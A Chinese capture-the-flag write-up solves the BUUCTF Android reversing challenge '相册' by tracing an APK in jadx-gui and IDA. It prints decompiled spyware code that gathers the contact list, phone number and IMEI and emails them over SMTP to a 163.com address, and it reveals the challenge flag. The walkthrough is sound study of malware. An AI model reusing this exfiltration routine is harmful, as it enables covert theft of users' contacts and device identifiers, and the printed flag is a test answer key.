jadx-gui打开

下载后的文件是以 ".apk" 结尾,因此使用jadx-gui打开。

根据题目提示,搜索关键字mail。

选择第一行,点击转到。

public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {if (!debug) {Mail m = new Mail(C2.MAILUSER, C2.MAILPASS);m.set_host(C2.MAILHOST);m.set_port(C2.PORT);m.set_debuggable(true);m.set_to(new String[]{mailto});m.set_from(C2.MAILFROME);m.set_subject(title);m.setBody(mailmsg);try {if (m.send()) {Log.i("IcetestActivity", "Email was sent successfully.");} else {Log.i("IcetestActivity", "Email was sent failed.");}} catch (Exception e) {Log.e("MailApp", "Could not send email", e);}}return 1;}

根据sendMailByJavaMail()方法中参数列表所要传的数据来看,这就是关键。

再次搜索看看谁调用了sendMailByJavaMail()这个方法

选第2行,转到。

public void run(String content2) {String notebooks = "";for (String[] note : NoteBook.get(this.context, IMAPStore.RESPONSE)) {notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";}String tel = ((TelephonyManager) this.context.getSystemService("phone")).getLine1Number();if (tel == null || tel.equals("")) {tel = A2.getNoteBook(content2).phoneNumber;}A2.getNoteBook(content2);if (!A2.isEmpty(notebooks)) {A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + ((TelephonyManager) this.context.getSystemService("phone")).getDeviceId() + ")", notebooks);}}

发现有个MAILSERVER,右键 "跳到声明"

    public static final String CANCELNUMBER = "%23%2321%23";public static final String MAILFROME = Base64.decode(NativeMethod.m());public static final String MAILHOST = "smtp.163.com";public static final String MAILPASS = Base64.decode(NativeMethod.pwd());public static final String MAILSERVER = Base64.decode(NativeMethod.m());public static final String MAILUSER = Base64.decode(NativeMethod.m());public static final String MOVENUMBER = "**21*121%23";public static final String PORT = "25";public static final String date = "2115-11-1";public static final String phoneNumber = Base64.decode(NativeMethod.p());

发现NativeMethod的m经过Base64加密。

MAILSERVER就是加载外部so文件中NativeMethod.m1m()函数所返回的值,再进行base64解密。因此我们只需要找到so文件中经过base64加密的字符串。

IDA打开

选择 "lib/armeabi/libcore.so",OK。

Shift + F12

双击 "MTgyMTg0NjUxMjVAMTYzLmNvbQ=="

再找到由Base64加密的字符串:"MTgyMTg0NjUxMjVAMTYzLmNvbQ=="

通过Base64解码得到flag{18218465125@163.com}

BUUCTF-Reverse-相册相关推荐

  1. BUUCTF Reverse/findKey

    BUUCTF Reverse/findKey 先看文件信息:32位程序,没有加壳 打开看看,标题为find flag,也没啥有用的信息 IDA32位打开,找到start函数,看到有个main,跟随跳转 ...

  2. BUUCTF Reverse helloword、findit

    BUUCTF Reverse helloword.findit helloword findit 一天一道CTF题目,能多不能少 记录一下这两道题,这两道题是安卓逆向的题目~ 第一次接触安卓逆向的题目 ...

  3. BUUCTF Reverse/Ultimate Minesweeper

    BUUCTF Reverse/Ultimate Minesweeper 先看文件信息,没有加壳,且为net编写的程序 运行是一个扫雷游戏,只要点错一个就会自动退出(左上角显示的是雷的数目,一共有897 ...

  4. BUUCTF Reverse xor

    题目:BUUCTF Reverse xor 一些犯傻后学到了新东西的记录 查壳,没壳,IDA打开 main函数很好理解,输入一个长度为33的字符串,1-32位与前一位异或后与global相等,则判定f ...

  5. BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker

    BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker 先看下文件信息,没有加壳,32位程序 运行一下,又是一道字符串比较的题目 用IDA32位打开,分析一下 // positive ...

  6. BUUCTF Reverse/[GWCTF 2019]pyre

    BUUCTF Reverse/[GWCTF 2019]pyre 下载得到一个pyc文件,用这个在线反编译pyc,pyo反汇编出代码 print 'Welcome to Re World!' print ...

  7. BUUCTF Reverse(helloworld)

    BUUCTF Reverse(helloworld) 题目附件下载下来之后,是.apk后缀,所以可能是安卓逆向. 这里我用的工具是Android Killer,下载地址:https://xiazai. ...

  8. BUUCTF Reverse/[WUSTCTF2020]Cr0ssfun

    BUUCTF Reverse/[WUSTCTF2020]Cr0ssfun 先看文件信息, IDA64位打开,很简单的题目,只要一个个输入就行 都是返回的这种元素 _BOOL8 __fastcall i ...

  9. BUUCTF reverse题解汇总

    本文是BUUCTF平台reverse题解的汇总 题解均来自本人博客 目录 Page1 Page2 Page3 Page4 Page1 easyre reverse1 reverse2 内涵的软件 新年 ...

  10. [BUUCTF]Reverse——[网鼎杯 2020 青龙组]jocker

    网上大部分是动调,我尝试IDC解一下, 无壳,32位,放入IDApro,查看main函数 查看wrong和str函数,借出假的flag a=[0x66,0x6B,0x63,0x64,0x7F,0x61 ...

最新文章

  1. 自制奇葩vb面试题,看你能对几道
  2. U盘打不开的解决方法
  3. Map 3D中程序设置地图中心点
  4. javascript 原生得到document.Element的方法
  5. jgGrid获得的id值是主键的id而不是jqGrid的行号值
  6. 用O(1)的时间复杂度删除单链表中的某个节点
  7. 1.11_shell_sort_希尔排序
  8. Android 百度地图开发(二)--- 定位功能之MyLocationOverlay,PopupOverlay的使用
  9. Android 输出word文件中插入图片
  10. 不要因为错爱而寂寞一生
  11. 易语言API获取进程程序路径
  12. wan端口未连接怎么弄_路由器WAN口未连接解决方法,WAN口未连接怎么办
  13. 全国程序员12月工资新鲜出炉,又降了!?
  14. 防微信聊天气泡图片实现
  15. 【考研数学】概率论 - 随机事件和概率
  16. 《如何阅读一本书》做一名“棒球赛中的捕手”
  17. BeautifulSoup里“find_all“和“findAll“的区别
  18. springboot集成Appollo动态配置
  19. SecureCRT常用文件操作命令
  20. jquery-svg-pan-zoom实现svg拖拽放大

热门文章

  1. js获取chrome浏览器版本信息
  2. android模拟器GPS简单应用(一)
  3. python安装包的路径
  4. 70多套java必练项目,适合小白上手!
  5. RedHat7安装及小红帽硬盘分区建议
  6. 64位驱动签名工具64Signer
  7. java Google图片验证码_使用google.kaptcha来生成图片验证码的实现方法
  8. CocosCreator中TiledMap简单使用
  9. 易班自动答题脚本_自动答题脚本教程及源码分享(无视分辨率)
  10. JS前端实现点击按钮生成并下载txt文件